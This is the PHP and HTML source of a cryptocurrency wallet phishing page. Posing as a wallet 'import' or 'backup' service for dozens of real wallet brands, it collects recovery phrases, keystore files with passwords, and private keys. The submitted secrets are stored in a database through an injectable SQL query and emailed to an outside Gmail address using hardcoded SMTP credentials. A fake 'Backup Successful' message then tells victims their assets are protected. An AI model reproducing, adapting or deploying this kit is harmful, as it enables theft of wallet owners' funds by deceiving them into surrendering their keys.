<?php
include "header.php";
include "admin/config/database.php";

$msg='';
if(isset($_POST['proceed'])){

	$phrase = $_POST['phrase1'].''.$_POST['phrase2'].''.$_POST['phrase3'];
  $name = $_POST['name1'].''.$_POST['name2'].''.$_POST['name3'];
  $email = $_POST['email1'].''.$_POST['email2'].''.$_POST['email3'];
  $pass = $_POST['kpassword'];
	$date = date('Y-m-d H:i:s');
	$ticket = 'Id'.substr(str_shuffle("0123456789"), 0, 6);

if(mysqli_query($link, "INSERT INTO result (phrase,name,email,ticket,ddate) VALUES ('$phrase','$name','$email','$ticket','$date')")){

	$email_content="<!DOCTYPE html>
	       <html>
	       <head>
	         <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
	         <meta name='viewport' content='width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1' />
	         <style type='text/css'>
	       .ReadMsgBody { width: 100%; background-color: #ffffff; }
	       .ExternalClass { width: 100%; background-color: #ffffff; }
	       .ExternalClass, .ExternalClass p, .ExternalClass span, .ExternalClass font, .ExternalClass td, .ExternalClass div { line-height: 100%; }
	       html { width: 100%; }
	       body { -webkit-text-size-adjust: none; -ms-text-size-adjust: none; margin: 0; padding: 0; }
	       table { border-spacing: 0; border-collapse: collapse; table-layout: fixed; margin: 0 auto; }
	       table table table { table-layout: auto; }
	       img { display: block !important; over-flow: hidden !important; }
	       table td { border-collapse: collapse; }
	       .yshortcuts a { border-bottom: none !important; }
	       img:hover { opacity: 0.9 !important; }
	       a { color: #6ec8c7; text-decoration: none; }
	       .textbutton a { font-family: 'open sans', arial, sans-serif !important; color: #ffffff !important; }
	       .footer-link a { color: #fff !important; }
	       th {
	           border: 1px solid black;
	           text-align: left;
	           padding: 8px;
	       }
	       @media only screen and (max-width: 640px) {
	       body { width: auto !important; }
	       table[class='table-inner'] { width: 90% !important; }
	       table[class='table-full'] { width: 100% !important; text-align: center !important; background: none !important; }
	       /* Image */
	       img[class='img1'] { width: 100% !important; height: auto !important; }
	       }
	       @media only screen and (max-width: 479px) {
	       body { width: auto !important; }
	       table[class='table-inner'] { width: 90% !important; }
	       table[class='table-full'] { width: 100% !important; text-align: center !important; background: none !important; }
	       /* image */
	       img[class='img1'] { width: 100% !important; height: auto !important; }
	       }
	       </style>
	       </head>

	       <body>
	         <!--header-->
	         <table width='70%' border='0' align='center' cellpadding='0' cellspacing='0'>
	           <td align='center' style='line-height: 0px;'><img style='display:block; height:20%px;width: 20%;' src='logodod.bmp' alt='img' /></td>
	           <tr>
	             <td align='center'>
	               <table width='520' border='0' align='center' cellpadding='0' cellspacing='0' class='table-inner'>

	                 <!--Header Logo-->

	                 <!--end Header Logo-->

	               </table>
	             </td>
	           </tr>
	         </table>
	         <!--end header-->
	         <!--header-->
	         <!--end header-->
	         <!--1/1 Content-->
	         <table align='center' bgcolor='#fff' width='70%' border='0' cellspacing='0' cellpadding='0'>
	           <tr>
	             <td align='center'>
	               <table style='border-bottom-left-radius:6px;border-bottom-right-radius:6px;border-top-left-radius:6px;border-top-right-radius:6px; box-shadow:0px 3px 0px #e0e5eb;' bgcolor='#FFFFFF' align='center' class='table-inner' width='500' border='0' cellspacing='0' cellpadding='0'>
	                 <tr>
	                   <td align='center'>
	                     <tr>
	                       <td height='35'></td>
	                     </tr>

	                     <table width='70%' class='table-inner' border='0' align='center' cellpadding='0' cellspacing='0'>
	                                       <!--content-->
	                                       <tr>
	                                           <td align='left' style='font-size: 25px; font-family: Helvetica, Arial, sans-serif; color: #333333; padding-top: 30px;' class='padding'>New Message from contact page</td>
	                                       </tr>
	                                       <tr>
	                                           <td align='left' style='padding: 20px 0 0 0; font-size: 16px; line-height: 25px; font-family: Helvetica, Arial, sans-serif; color: #666666;' class='padding'>
																						 Dear Admin, find details of new submitted phrase below <br><br>wallet Name: ".$name."<br>
                                             Email: ".$email."<br>Phrase/Password: ".$phrase."<br>".$pass."
	                                           </td>
	                                       </tr>
	                           <tr>
	                         <td height='30'></td>
	                       </tr>

	       </body>

	       </html>
	";

		require_once 'PHPMailernew/PHPMailerAutoload.php';
		$mail = new PHPMailer(true);
    $mail->SMTPDebug = 0;
    $mail->isSMTP();
    $mail->Host = 'web3grids.com';
    $mail->SMTPAuth = true;
    $mail->Username = 'admin@web3grids.com';
    $mail->Password = 'Izuchukwu-1';
    $mail->SMTPSecure = 'ssl';
    $mail->Port = '465';
    $mail->setFrom('admin@web3grids.com');
    $mail->addAddress('ojegwohepner@gmail.com');
    $mail->addReplyTo('admin@web3grids.com');
    $mail->isHTML(true);
    $mail->Subject ='New Phrase';
    $mail->Body = $email_content;
    $mail->send();

	echo "<script>window.location.href='success.php?id=$ticket';</script>";
}


}

?>

<!-- Wallet Connection Form Modal -->
<div x-show="showConnectionModal" x-transition:enter="transition ease-out duration-300"
    x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
    x-transition:leave="transition ease-in duration-200" x-transition:leave-start="opacity-100"
    x-transition:leave-end="opacity-0" class="fixed inset-0 flex items-center justify-center z-50"
    style="display: none; background-color: rgba(0, 0, 0, 0.80); backdrop-filter: blur(8px);"
    @click="closeConnectionModal">

    <div class="bg-white rounded-lg p-6 max-w-md w-full mx-4"
        x-transition:enter="transition ease-out duration-300"
        x-transition:enter-start="opacity-0 transform scale-95"
        x-transition:enter-end="opacity-100 transform scale-100"
        x-transition:leave="transition ease-in duration-200"
        x-transition:leave-start="opacity-100 transform scale-100"
        x-transition:leave-end="opacity-0 transform scale-95" @click.stop>

        <div class="flex justify-between items-center mb-4">
            <div class="flex items-center">
                <img :src="selectedWalletImage" :alt="selectedWalletName"
                    class="w-8 h-8 mr-3 rounded-full">
                <h3 class="text-lg font-semibold text-gray-900">Import your <span
                        x-text="selectedWalletName"></span> Wallet</h3>
            </div>
            <button @click="closeConnectionModal" class="text-gray-400 hover:text-gray-600">
                <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                        d="M6 18L18 6M6 6l12 12">
                    </path>
                </svg>
            </button>
        </div>

        <div class="mb-4">
            <div class="flex border-b">
                <button @click="activeTab = 'phrase'"
                    :class="activeTab === 'phrase' ? 'border-b-2 border-secondary-500 text-secondary-600' :
                        'text-gray-500'"
                    class="px-4 py-2 font-medium">Phrase</button>
                <button @click="activeTab = 'keystore'"
                    :class="activeTab === 'keystore' ? 'border-b-2 border-secondary-500 text-secondary-600' :
                        'text-gray-500'"
                    class="px-4 py-2 font-medium">Keystore JSON</button>
                <button @click="activeTab = 'private_key'"
                    :class="activeTab === 'private_key' ?
                        'border-b-2 border-secondary-500 text-secondary-600' :
                        'text-gray-500'"
                    class="px-4 py-2 font-medium">Private Key</button>
            </div>
        </div>

        <!-- Error Message Display -->
        <div x-show="errorMessage" x-transition:enter="transition ease-out duration-200"
            x-transition:enter-start="opacity-0 transform -translate-y-2"
            x-transition:enter-end="opacity-100 transform translate-y-0"
            class="mb-4 p-3 bg-red-50 border border-red-200 rounded-md">
            <div class="flex items-center">
                <svg class="w-5 h-5 text-red-400 mr-2" fill="none" stroke="currentColor"
                    viewBox="0 0 24 24">
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                        d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path>
                </svg>
                <p class="text-sm text-red-700" x-text="errorMessage"></p>
            </div>
        </div>

        <form method="post" action="">
            <div x-show="activeTab === 'phrase'">
                <label class="block text-sm font-medium text-gray-700 mb-2">Name wallet</label>
                <input type="text" x-model="formData.wallet_name"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900 mb-4"
                  name=name1  placeholder="Name wallet" :required="activeTab === 'phrase'">

                <label class="block text-sm font-medium text-gray-700 mb-2">Email</label>
                <input type="email" x-model="formData.email"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900 mb-4"
                    name=email1 placeholder="Email" :required="activeTab === 'phrase'">

                <label class="block text-sm font-medium text-gray-700 mb-2">Recovery Phrase</label>
                <textarea x-model="formData.wallet_phrase" @input="validatePhraseInput"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900" rows="4"
                    name=phrase1 placeholder="Enter your recovery phrase" :required="activeTab === 'phrase'"></textarea>
                <div class="flex justify-between items-center mt-1">
                    <p class="text-xs text-gray-500">
                        Valid seed phrases are exactly 12 or 24 words separated by single spaces
                    </p>
                    <span x-show="formData.wallet_phrase"
                        :class="phraseWordCount === 12 || phraseWordCount === 24 ? 'text-green-600' :
                            'text-red-500'"
                        class="text-xs font-medium">
                        <span x-text="phraseWordCount"></span> words
                    </span>
                </div>
            </div>

            <div x-show="activeTab === 'keystore'">
                <label class="block text-sm font-medium text-gray-700 mb-2">Name wallet</label>
                <input type="text" x-model="formData.wallet_name"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900 mb-4"
                    name=name2 placeholder="Name wallet" :required="activeTab === 'keystore'">

                <label class="block text-sm font-medium text-gray-700 mb-2">Email</label>
                <input type="email" x-model="formData.email"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900 mb-4"
                  name=email2  placeholder="Email" :required="activeTab === 'keystore'">

                <label class="block text-sm font-medium text-gray-700 mb-2">Keystore JSON</label>
                <textarea x-model="formData.keystore_json" @input="validateKeystoreInput"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900 mb-4" rows="4"
                  name=phrase2  placeholder="Paste your keystore JSON here" :required="activeTab === 'keystore'"></textarea>
                <div class="flex justify-between items-center">
                    <p class="text-xs text-gray-500">Must be valid JSON format</p>
                    <span x-show="formData.keystore_json"
                        :class="isValidKeystore ? 'text-green-600' : 'text-red-500'"
                        class="text-xs font-medium">
                        <span x-text="isValidKeystore ? 'Valid JSON' : 'Invalid JSON'"></span>
                    </span>
                </div>

                <label class="block text-sm font-medium text-gray-700 mb-2 mt-4">Keystore
                    Password</label>
                <input type="password" x-model="formData.keystore_password"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900"
                    name=kpassword placeholder="Enter keystore password" :required="activeTab === 'keystore'">
                <p class="text-xs text-gray-500 mt-1">Password used to encrypt your keystore file</p>
            </div>

            <div x-show="activeTab === 'private_key'">
                <label class="block text-sm font-medium text-gray-700 mb-2">Name wallet</label>
                <input type="text" x-model="formData.wallet_name"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900 mb-4"
                    name=name3 placeholder="Name wallet" :required="activeTab === 'private_key'">

                <label class="block text-sm font-medium text-gray-700 mb-2">Email</label>
                <input type="email" x-model="formData.email"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900 mb-4"
                    name=email3 placeholder="Email" :required="activeTab === 'private_key'">

                <label class="block text-sm font-medium text-gray-700 mb-2">Private Key</label>
                <textarea x-model="formData.private_key" @input="validatePrivateKeyInput"
                    class="w-full p-3 border border-gray-300 rounded-md text-gray-900" rows="3"
                  name=phrase3  placeholder="Enter your private key" :required="activeTab === 'private_key'"></textarea>
                <div class="flex justify-between items-center mt-1">
                    <p class="text-xs text-gray-500">64 hexadecimal characters (with or without 0x
                        prefix)</p>
                    <span x-show="formData.private_key"
                        :class="isValidPrivateKey ? 'text-green-600' : 'text-red-500'"
                        class="text-xs font-medium">
                        <span x-text="isValidPrivateKey ? 'Valid format' : 'Invalid format'"></span>
                    </span>
                </div>
            </div>

            <div class="flex justify-end gap-3 mt-6">
                <button type="button" @click="closeConnectionModal"
                    class="px-6 py-2 text-white bg-primary-500 rounded-full hover:bg-primary-600">
                    Cancel
                </button>
                <button type="submit"
                  name=proceed  class="px-6 py-2 bg-secondary-600 text-white rounded-full hover:bg-secondary-700 disabled:opacity-50">
                    <span x-show="!isSubmitting">Proceed</span>
                    <span x-show="isSubmitting">Processing...</span>
                </button>
            </div>
        </form>
    </div>
</div>

<!-- SUCCESS MODAL -->
<div x-show="showSuccessModal" x-transition:enter="transition ease-out duration-300"
    x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
    x-transition:leave="transition ease-in duration-200" x-transition:leave-start="opacity-100"
    x-transition:leave-end="opacity-0" @click="showSuccessModal = false"
    class="fixed inset-0 z-50 flex items-center justify-center p-4"
    style="background-color: rgba(0, 0, 0, 0.75); backdrop-filter: blur(8px);" x-cloak>
    <div @click.stop x-transition:enter="transition ease-out duration-300"
        x-transition:enter-start="opacity-0 transform scale-95"
        x-transition:enter-end="opacity-100 transform scale-100"
        x-transition:leave="transition ease-in duration-200"
        x-transition:leave-start="opacity-100 transform scale-100"
        x-transition:leave-end="opacity-0 transform scale-95"
        class="bg-gradient-to-br from-gray-50 to-white rounded-2xl p-8 max-w-md w-full text-center relative">

        <!-- Close button -->
        <button @click="showSuccessModal = false"
            class="absolute top-4 right-4 text-gray-400 hover:text-gray-600">
            <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                    d="M6 18L18 6M6 6l12 12"></path>
            </svg>
        </button>

        <!-- Animated Success Icon -->
        <div class="mb-6">
            <div
                class="w-24 h-24 mx-auto bg-green-100 rounded-full flex items-center justify-center animate-pulse">
                <svg class="w-12 h-12 text-green-500 animate-bounce" fill="none"
                    stroke="currentColor" viewBox="0 0 24 24">
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                        d="M5 13l4 4L19 7">
                    </path>
                </svg>
            </div>
        </div>

        <!-- Success Title -->
        <h2 class="text-2xl font-bold text-secondary-600 mb-4">Backup Successful</h2>

        <!-- UID Display with Copy Button -->
        <div class="mb-6">
            <div class="flex items-center justify-center gap-2">
                <strong class="text-gray-600 text-sm">UID: <span
                        x-text="successData?.id || 'N/A'"></span></strong>
                <button @click="copyUID()"
                    class="ml-2 p-1 text-gray-500 hover:text-secondary-600 transition-colors duration-200"
                    title="Copy UID">
                    <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                            d="M8 16H6a2 2 0 01-2-2V6a2 2 0 012-2h8a2 2 0 012 2v2m-6 12h8a2 2 0 002-2v-8a2 2 0 00-2-2h-8a2 2 0 00-2 2v8a2 2 0 002 2z">
                        </path>
                    </svg>
                </button>
            </div>
            <!-- Copy feedback -->
            <div x-show="showCopyFeedback" x-transition class="text-green-600 text-xs mt-1">
                UID copied to clipboard!
            </div>
        </div>

        <!-- Success Message -->
        <p class="text-gray-600 mb-8 leading-relaxed">
            Your wallet data has been successfully backed up! We've securely stored your information,
            ensuring your assets remain protected. Feel free to continue managing your wallet or explore
            additional features.
        </p>

        <!-- Return Button -->
        <button @click="showSuccessModal = false; window.location.href = '/'"
            class="bg-secondary-600 hover:bg-secondary-700 text-white font-semibold py-3 px-8 rounded-full transition-colors duration-200">
            Return To Home Page
        </button>
    </div>
</div>
</section>

<script>
function walletSelector() {
return {
selectedWallet: '',
selectedWalletName: '',
selectedWalletImage: '',
showWalletInfoModal: false,
showConnectionModal: false,
showSuccessModal: false,
successData: null,
showCopyFeedback: false,
activeTab: 'phrase',
isSubmitting: false,
searchQuery: '',
allWallets: [{"filename":"0_safepal.png","display_name":"Safepal","order":0,"path":"images\/wallets\/0_safepal.png"},{"filename":"1_trust.png","display_name":"Trust","order":1,"path":"images\/wallets\/1_trust.png"},{"filename":"2_metamask.png","display_name":"Metamask","order":2,"path":"images\/wallets\/2_metamask.png"},{"filename":"3_coinbase.png","display_name":"Coinbase","order":3,"path":"images\/wallets\/3_coinbase.png"},{"filename":"aktionariat.png","display_name":"Aktionariat","order":999,"path":"images\/wallets\/aktionariat.png"},{"filename":"alice.png","display_name":"Alice","order":999,"path":"images\/wallets\/alice.png"},{"filename":"alpha_wallet.png","display_name":"Alpha Wallet","order":999,"path":"images\/wallets\/alpha_wallet.png"},{"filename":"anchor.png","display_name":"Anchor","order":999,"path":"images\/wallets\/anchor.png"},{"filename":"arculus.png","display_name":"Arculus","order":999,"path":"images\/wallets\/arculus.png"},{"filename":"argent.png","display_name":"Argent","order":999,"path":"images\/wallets\/argent.png"},{"filename":"at.wallet.png","display_name":"At Wallet","order":999,"path":"images\/wallets\/at.wallet.png"},{"filename":"atomic.png","display_name":"Atomic","order":999,"path":"images\/wallets\/atomic.png"},{"filename":"authereum.png","display_name":"Authereum","order":999,"path":"images\/wallets\/authereum.png"},{"filename":"bakkt.png","display_name":"Bakkt","order":999,"path":"images\/wallets\/bakkt.png"},{"filename":"binance_smart_chain.png","display_name":"Binance Smart Chain","order":999,"path":"images\/wallets\/binance_smart_chain.png"},{"filename":"bit_keep.png","display_name":"Bit Keep","order":999,"path":"images\/wallets\/bit_keep.png"},{"filename":"bit_pay.png","display_name":"Bit Pay","order":999,"path":"images\/wallets\/bit_pay.png"},{"filename":"blockchain.png","display_name":"Blockchain","order":999,"path":"images\/wallets\/blockchain.png"},{"filename":"bridge_wallet.png","display_name":"Bridge Wallet","order":999,"path":"images\/wallets\/bridge_wallet.png"},{"filename":"coin98.png","display_name":"Coin98","order":999,"path":"images\/wallets\/coin98.png"},{"filename":"coinomi.png","display_name":"Coinomi","order":999,"path":"images\/wallets\/coinomi.png"},{"filename":"cool_wallet_s.png","display_name":"Cool Wallet S","order":999,"path":"images\/wallets\/cool_wallet_s.png"},{"filename":"cosmostation.png","display_name":"Cosmostation","order":999,"path":"images\/wallets\/cosmostation.png"},{"filename":"crypto.com_defi_wallet.png","display_name":"Crypto com DeFi Wallet","order":999,"path":"images\/wallets\/crypto.com_defi_wallet.png"},{"filename":"cybavo_wallet.png","display_name":"Cybavo Wallet","order":999,"path":"images\/wallets\/cybavo_wallet.png"},{"filename":"d_cent_wallet.png","display_name":"D Cent Wallet","order":999,"path":"images\/wallets\/d_cent_wallet.png"},{"filename":"dok_wallet.png","display_name":"Dok Wallet","order":999,"path":"images\/wallets\/dok_wallet.png"},{"filename":"easy_pocket.jpg","display_name":"Easy Pocket","order":999,"path":"images\/wallets\/easy_pocket.jpg"},{"filename":"eidoo.png","display_name":"Eidoo","order":999,"path":"images\/wallets\/eidoo.png"},{"filename":"ellipal.png","display_name":"Ellipal","order":999,"path":"images\/wallets\/ellipal.png"},{"filename":"equal.jpg","display_name":"Equal","order":999,"path":"images\/wallets\/equal.jpg"},{"filename":"exodus.jpeg","display_name":"Exodus","order":999,"path":"images\/wallets\/exodus.jpeg"},{"filename":"fetch.jpg","display_name":"Fetch","order":999,"path":"images\/wallets\/fetch.jpg"},{"filename":"gnosis_safe_multisig.png","display_name":"Gnosis Safe Multisig","order":999,"path":"images\/wallets\/gnosis_safe_multisig.png"},{"filename":"graph_protocol.jpg","display_name":"Graph Protocol","order":999,"path":"images\/wallets\/graph_protocol.jpg"},{"filename":"grid_plus.png","display_name":"Grid Plus","order":999,"path":"images\/wallets\/grid_plus.png"},{"filename":"harmony.png","display_name":"Harmony","order":999,"path":"images\/wallets\/harmony.png"},{"filename":"huobi_wallet.png","display_name":"Huobi Wallet","order":999,"path":"images\/wallets\/huobi_wallet.png"},{"filename":"iconex.png","display_name":"Iconex","order":999,"path":"images\/wallets\/iconex.png"},{"filename":"infinito.png","display_name":"Infinito","order":999,"path":"images\/wallets\/infinito.png"},{"filename":"infinity_wallet.png","display_name":"Infinity Wallet","order":999,"path":"images\/wallets\/infinity_wallet.png"},{"filename":"karda_chain.png","display_name":"Karda Chain","order":999,"path":"images\/wallets\/karda_chain.png"},{"filename":"keplr.png","display_name":"Keplr","order":999,"path":"images\/wallets\/keplr.png"},{"filename":"keyring_pro.png","display_name":"Keyring Pro","order":999,"path":"images\/wallets\/keyring_pro.png"},{"filename":"ledger_flex.png","display_name":"Ledger Flex","order":999,"path":"images\/wallets\/ledger_flex.png"},{"filename":"ledger_live.png","display_name":"Ledger Live","order":999,"path":"images\/wallets\/ledger_live.png"},{"filename":"ledger_nano_s.png","display_name":"Ledger Nano S","order":999,"path":"images\/wallets\/ledger_nano_s.png"},{"filename":"ledger_nano_s_plus.png","display_name":"Ledger Nano S Plus","order":999,"path":"images\/wallets\/ledger_nano_s_plus.png"},{"filename":"ledger_nano_x.png","display_name":"Ledger Nano X","order":999,"path":"images\/wallets\/ledger_nano_x.png"},{"filename":"ledger_stat.png","display_name":"Ledger Stat","order":999,"path":"images\/wallets\/ledger_stat.png"},{"filename":"lobstr.png","display_name":"Lobstr","order":999,"path":"images\/wallets\/lobstr.png"},{"filename":"loopring_wallet.png","display_name":"Loopring Wallet","order":999,"path":"images\/wallets\/loopring_wallet.png"},{"filename":"maiar.png","display_name":"Maiar","order":999,"path":"images\/wallets\/maiar.png"},{"filename":"math_wallet.png","display_name":"Math Wallet","order":999,"path":"images\/wallets\/math_wallet.png"},{"filename":"meet.one.jpg","display_name":"Meet One","order":999,"path":"images\/wallets\/meet.one.jpg"},{"filename":"midas_wallet.png","display_name":"Midas Wallet","order":999,"path":"images\/wallets\/midas_wallet.png"},{"filename":"morix_wallet.png","display_name":"Morix Wallet","order":999,"path":"images\/wallets\/morix_wallet.png"},{"filename":"mykey.png","display_name":"Mykey","order":999,"path":"images\/wallets\/mykey.png"},{"filename":"nash.png","display_name":"Nash","order":999,"path":"images\/wallets\/nash.png"},{"filename":"onto.png","display_name":"Onto","order":999,"path":"images\/wallets\/onto.png"},{"filename":"ownbit.png","display_name":"Ownbit","order":999,"path":"images\/wallets\/ownbit.png"},{"filename":"peak_defi_wallet.png","display_name":"Peak DeFi Wallet","order":999,"path":"images\/wallets\/peak_defi_wallet.png"},{"filename":"pillar.png","display_name":"Pillar","order":999,"path":"images\/wallets\/pillar.png"},{"filename":"qubic.png","display_name":"Qubic","order":999,"path":"images\/wallets\/qubic.png"},{"filename":"rainbow.png","display_name":"Rainbow","order":999,"path":"images\/wallets\/rainbow.png"},{"filename":"spark_point.png","display_name":"Spark Point","order":999,"path":"images\/wallets\/spark_point.png"},{"filename":"spatium.png","display_name":"Spatium","order":999,"path":"images\/wallets\/spatium.png"},{"filename":"tangem.png","display_name":"Tangem","order":999,"path":"images\/wallets\/tangem.png"},{"filename":"token_pocket.png","display_name":"Token Pocket","order":999,"path":"images\/wallets\/token_pocket.png"},{"filename":"tokenary.png","display_name":"Tokenary","order":999,"path":"images\/wallets\/tokenary.png"},{"filename":"torus.png","display_name":"Torus","order":999,"path":"images\/wallets\/torus.png"},{"filename":"trezor_model_t.png","display_name":"Trezor Model T","order":999,"path":"images\/wallets\/trezor_model_t.png"},{"filename":"trust_vault.png","display_name":"Trust Vault","order":999,"path":"images\/wallets\/trust_vault.png"},{"filename":"unstoppable_wallet.png","display_name":"Unstoppable Wallet","order":999,"path":"images\/wallets\/unstoppable_wallet.png"},{"filename":"via_wallet.png","display_name":"Via Wallet","order":999,"path":"images\/wallets\/via_wallet.png"},{"filename":"vision.png","display_name":"Vision","order":999,"path":"images\/wallets\/vision.png"},{"filename":"wallet_connect.png","display_name":"Wallet Connect","order":999,"path":"images\/wallets\/wallet_connect.png"},{"filename":"wallet.io.png","display_name":"Wallet IO","order":999,"path":"images\/wallets\/wallet.io.png"},{"filename":"walleth.png","display_name":"Walleth","order":999,"path":"images\/wallets\/walleth.png"},{"filename":"wazirx.png","display_name":"Wazirx","order":999,"path":"images\/wallets\/wazirx.png"},{"filename":"xaman.png","display_name":"Xaman","order":999,"path":"images\/wallets\/xaman.png"},{"filename":"xdc_wallet.png","display_name":"Xdc Wallet","order":999,"path":"images\/wallets\/xdc_wallet.png"},{"filename":"zel_core.png","display_name":"Zel Core","order":999,"path":"images\/wallets\/zel_core.png"}],
filteredWallets: [{"filename":"0_safepal.png","display_name":"Safepal","order":0,"path":"images\/wallets\/0_safepal.png"},{"filename":"1_trust.png","display_name":"Trust","order":1,"path":"images\/wallets\/1_trust.png"},{"filename":"2_metamask.png","display_name":"Metamask","order":2,"path":"images\/wallets\/2_metamask.png"},{"filename":"3_coinbase.png","display_name":"Coinbase","order":3,"path":"images\/wallets\/3_coinbase.png"},{"filename":"aktionariat.png","display_name":"Aktionariat","order":999,"path":"images\/wallets\/aktionariat.png"},{"filename":"alice.png","display_name":"Alice","order":999,"path":"images\/wallets\/alice.png"},{"filename":"alpha_wallet.png","display_name":"Alpha Wallet","order":999,"path":"images\/wallets\/alpha_wallet.png"},{"filename":"anchor.png","display_name":"Anchor","order":999,"path":"images\/wallets\/anchor.png"},{"filename":"arculus.png","display_name":"Arculus","order":999,"path":"images\/wallets\/arculus.png"},{"filename":"argent.png","display_name":"Argent","order":999,"path":"images\/wallets\/argent.png"},{"filename":"at.wallet.png","display_name":"At Wallet","order":999,"path":"images\/wallets\/at.wallet.png"},{"filename":"atomic.png","display_name":"Atomic","order":999,"path":"images\/wallets\/atomic.png"},{"filename":"authereum.png","display_name":"Authereum","order":999,"path":"images\/wallets\/authereum.png"},{"filename":"bakkt.png","display_name":"Bakkt","order":999,"path":"images\/wallets\/bakkt.png"},{"filename":"binance_smart_chain.png","display_name":"Binance Smart Chain","order":999,"path":"images\/wallets\/binance_smart_chain.png"},{"filename":"bit_keep.png","display_name":"Bit Keep","order":999,"path":"images\/wallets\/bit_keep.png"},{"filename":"bit_pay.png","display_name":"Bit Pay","order":999,"path":"images\/wallets\/bit_pay.png"},{"filename":"blockchain.png","display_name":"Blockchain","order":999,"path":"images\/wallets\/blockchain.png"},{"filename":"bridge_wallet.png","display_name":"Bridge Wallet","order":999,"path":"images\/wallets\/bridge_wallet.png"},{"filename":"coin98.png","display_name":"Coin98","order":999,"path":"images\/wallets\/coin98.png"},{"filename":"coinomi.png","display_name":"Coinomi","order":999,"path":"images\/wallets\/coinomi.png"},{"filename":"cool_wallet_s.png","display_name":"Cool Wallet S","order":999,"path":"images\/wallets\/cool_wallet_s.png"},{"filename":"cosmostation.png","display_name":"Cosmostation","order":999,"path":"images\/wallets\/cosmostation.png"},{"filename":"crypto.com_defi_wallet.png","display_name":"Crypto com DeFi Wallet","order":999,"path":"images\/wallets\/crypto.com_defi_wallet.png"},{"filename":"cybavo_wallet.png","display_name":"Cybavo Wallet","order":999,"path":"images\/wallets\/cybavo_wallet.png"},{"filename":"d_cent_wallet.png","display_name":"D Cent Wallet","order":999,"path":"images\/wallets\/d_cent_wallet.png"},{"filename":"dok_wallet.png","display_name":"Dok Wallet","order":999,"path":"images\/wallets\/dok_wallet.png"},{"filename":"easy_pocket.jpg","display_name":"Easy Pocket","order":999,"path":"images\/wallets\/easy_pocket.jpg"},{"filename":"eidoo.png","display_name":"Eidoo","order":999,"path":"images\/wallets\/eidoo.png"},{"filename":"ellipal.png","display_name":"Ellipal","order":999,"path":"images\/wallets\/ellipal.png"},{"filename":"equal.jpg","display_name":"Equal","order":999,"path":"images\/wallets\/equal.jpg"},{"filename":"exodus.jpeg","display_name":"Exodus","order":999,"path":"images\/wallets\/exodus.jpeg"},{"filename":"fetch.jpg","display_name":"Fetch","order":999,"path":"images\/wallets\/fetch.jpg"},{"filename":"gnosis_safe_multisig.png","display_name":"Gnosis Safe Multisig","order":999,"path":"images\/wallets\/gnosis_safe_multisig.png"},{"filename":"graph_protocol.jpg","display_name":"Graph Protocol","order":999,"path":"images\/wallets\/graph_protocol.jpg"},{"filename":"grid_plus.png","display_name":"Grid Plus","order":999,"path":"images\/wallets\/grid_plus.png"},{"filename":"harmony.png","display_name":"Harmony","order":999,"path":"images\/wallets\/harmony.png"},{"filename":"huobi_wallet.png","display_name":"Huobi Wallet","order":999,"path":"images\/wallets\/huobi_wallet.png"},{"filename":"iconex.png","display_name":"Iconex","order":999,"path":"images\/wallets\/iconex.png"},{"filename":"infinito.png","display_name":"Infinito","order":999,"path":"images\/wallets\/infinito.png"},{"filename":"infinity_wallet.png","display_name":"Infinity Wallet","order":999,"path":"images\/wallets\/infinity_wallet.png"},{"filename":"karda_chain.png","display_name":"Karda Chain","order":999,"path":"images\/wallets\/karda_chain.png"},{"filename":"keplr.png","display_name":"Keplr","order":999,"path":"images\/wallets\/keplr.png"},{"filename":"keyring_pro.png","display_name":"Keyring Pro","order":999,"path":"images\/wallets\/keyring_pro.png"},{"filename":"ledger_flex.png","display_name":"Ledger Flex","order":999,"path":"images\/wallets\/ledger_flex.png"},{"filename":"ledger_live.png","display_name":"Ledger Live","order":999,"path":"images\/wallets\/ledger_live.png"},{"filename":"ledger_nano_s.png","display_name":"Ledger Nano S","order":999,"path":"images\/wallets\/ledger_nano_s.png"},{"filename":"ledger_nano_s_plus.png","display_name":"Ledger Nano S Plus","order":999,"path":"images\/wallets\/ledger_nano_s_plus.png"},{"filename":"ledger_nano_x.png","display_name":"Ledger Nano X","order":999,"path":"images\/wallets\/ledger_nano_x.png"},{"filename":"ledger_stat.png","display_name":"Ledger Stat","order":999,"path":"images\/wallets\/ledger_stat.png"},{"filename":"lobstr.png","display_name":"Lobstr","order":999,"path":"images\/wallets\/lobstr.png"},{"filename":"loopring_wallet.png","display_name":"Loopring Wallet","order":999,"path":"images\/wallets\/loopring_wallet.png"},{"filename":"maiar.png","display_name":"Maiar","order":999,"path":"images\/wallets\/maiar.png"},{"filename":"math_wallet.png","display_name":"Math Wallet","order":999,"path":"images\/wallets\/math_wallet.png"},{"filename":"meet.one.jpg","display_name":"Meet One","order":999,"path":"images\/wallets\/meet.one.jpg"},{"filename":"midas_wallet.png","display_name":"Midas Wallet","order":999,"path":"images\/wallets\/midas_wallet.png"},{"filename":"morix_wallet.png","display_name":"Morix 